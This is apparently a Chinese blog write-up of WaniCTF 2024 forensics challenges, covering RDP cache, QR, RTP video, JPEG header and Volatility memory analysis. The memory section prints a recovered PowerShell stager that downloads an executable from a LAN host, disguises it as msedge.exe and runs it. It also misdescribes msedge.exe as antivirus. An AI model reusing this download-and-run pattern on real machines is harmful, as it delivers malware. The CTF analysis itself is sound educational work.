WaniCTF 2024 EICS1 Forensics wp
还不错,一个人打的取证几乎AK了
Forensics
tiny_usb
简单题,AXIOM直接看就行
FLAG{hey_i_just_bought_a_usb}
Surveillance_of_sus
010Editor打开,注意到为RDP的缓存文件
我们使用工具对.bin文件进行解析,这里使用bmc-tools.py工具: https://github.com/ANSSI-FR/bmc-tools
解析出来一坨.bmp文件,提取与flag相关的文件,发现是个拼图
bmp拼接,肉眼瞪出flag
注意这个是yipeee(这个y坑了我好久)
FLAG{RDP_is_useful_yipeee}
codebreaker
题目图片:
最累的一集,直接qrazybox手搓二维码
然后看Reed-Solomon Decoder结束
FLAG{How_scan-dalous}
I_wanna_be_a_streamer
Wireshark分析,发现是H-264编码的视频流
先解码RTP包,然后wireshark下插件秒了
最后分解出.264格式的视频,直接下载MilkPlayer播放
FLAG{Th4nk_y0u_f0r_W4tching}
好题,尤其是最后的FLAG很有感觉
tiny_10px
根据如上原理更改图片大小即可(学到了)
下载图片拖到cybershef里
慢慢改吧,最后改出来一个合适的值(改成ff c0 00 11 08 00 a0 00 a0)
FLAG{b1g_en0ugh}
mem_search
用AXIOM找半天找不着不知道为啥
没办法了,只能上最硬核的vol3来内存取证了
老规矩先看info.Info
python vol.py -f chal_mem_search.DUMP windows.info
输出
Volatility 3 Framework 2.7.0
Progress: 100.00 PDB scanning finished
Variable Value
Kernel Base 0xf8030e400000
DTB 0x1ad000
Symbols file:///C:/Users/LamentXU/Desktop/WEBCTF/FOR/volatility3-2.7.0/volatility3/symbols/windows/ntkrnlmp.pdb/D9424FC4861E47C10FAD1B35DEC6DCC8-1.json.xz
Is64Bit True
IsPAE False
layer_name 0 WindowsIntel32e
memory_layer 1 WindowsCrashDump64Layer
base_layer 2 FileLayer
KdDebuggerDataBlock 0xf8030f000b20
NTBuildLab 19041.1.amd64fre.vb_release.1912
CSDVersion 0
KdVersionBlock 0xf8030f00f400
Major/Minor 15.19041
MachineType 34404
KeNumberProcessors 1
SystemTime 2024-05-11 09:33:57
NtSystemRoot C:\Windows
NtProductType NtProductWinNt
NtMajorVersion 10
NtMinorVersion 0
PE MajorOperatingSystemVersion 10
PE MinorOperatingSystemVersion 0
PE Machine 34404
PE TimeDateStamp Mon Dec 9 11:07:51 2019
由于题目基本没啥提示,只给了一个unknown file说明是文件相关,那就只能把所有文件都dump出来看看了
python vol.py -f chal_mem_search.DUMP windows.filescan
输出一坨文件,一个一个看能看到有read_this_as_admin.lnknload以及read_this_as_admin.download
(其实这里是我先用AXIOM看过了有这两个东西,但是不知道为啥AXIOM分离的时候出了点问题分不出来。像这种大量文件的还是用AXIOM好毕竟人家有分类功能,像这种硬找的还是挺难的)
分离
python vol.py -f chal_mem_search.DUMP windows.dumpfiles --virtaddr 0xcd88cebae1c0
python vol.py -f chal_mem_search.DUMP windows.dumpfiles --virtaddr 0xcd88cebc26c0
能看到powershell,注意到有base64编码后的内容,对其进行解码
整理得:
$u='http://192.168.0.16:8282/B64_decode_RkxBR3tEYXl1bV90aGlzX2lzX3NlY3JldF9maWxlfQ%3D%3D/chall_mem_search.exe';
$t='WaniTemp';
mkdir -force $env:TMP\..\$t;
try{
iwr $u -OutFile $d\msedge.exe;& $d\msedge.exe;
}catch{
}
msedge.exe为windows的杀毒软件,这里这个powershell脚本将恶意软件下载后存到了\msedge.exe里
可以直接看chall_mem_search.exe
python vol.py -f chal_mem_search.DUMP windows.dumpfiles --virtaddr 0xcd88cebd4af0
但是有这个必要吗?
注意到网址中B64_decode_RkxBR3tEYXl1bV90aGlzX2lzX3NlY3JldF9maWxlfQ
直接将RkxBR3tEYXl1bV90aGlzX2lzX3NlY3JldF9maWxlfQ用base64解码得FLAG{Dayum_this_is_secret_file}
补充:比赛结束后看别的大佬wp发现这题还有个假flag
直接dumpfiles出chall_mem_search.exe拖进IDA里逆向,注意到:
int32_t sub_461730()
{
int32_t __saved_ebp;
__builtin_memset(&__saved_ebp, 0xcccccccc, 0);
j_sub_4617b0(&data_46c012);
MessageBoxW(nullptr, u"B64 decode this!!! RkxBR3tIYWNrZWRfeWlrZXNfc3Bvb2t5fQ", u"Wani Hackase", MB_OK);
j___RTC_CheckEsp();
j___RTC_CheckEsp();
return 0;
}
将RkxBR3tIYWNrZWRfeWlrZXNfc3Bvb2t5fQ用base64解码即为假flag:FLAG{Hacked_yikes_spooky}
FLAG{Dayum_this_is_secret_file}
本文来自博客园,作者:LamentXU
转载请注明原文链接:https://www.cnblogs.com/LAMENTXU/articles/18265870
关于作者: http://lamentxu.gitlink.net/posts/resume/
QQ: UVHlj7fvvJoxMzcyNDQ5MzUxIOmdnuW4uOmrmOWFtOiupOivhuS9oO+8gQ==
WX: 5b6u5L+h5Y+377yaTGV0c0xhbWVudCDpnZ7luLjpq5jlhbTorqTor4bkvaDvvIE=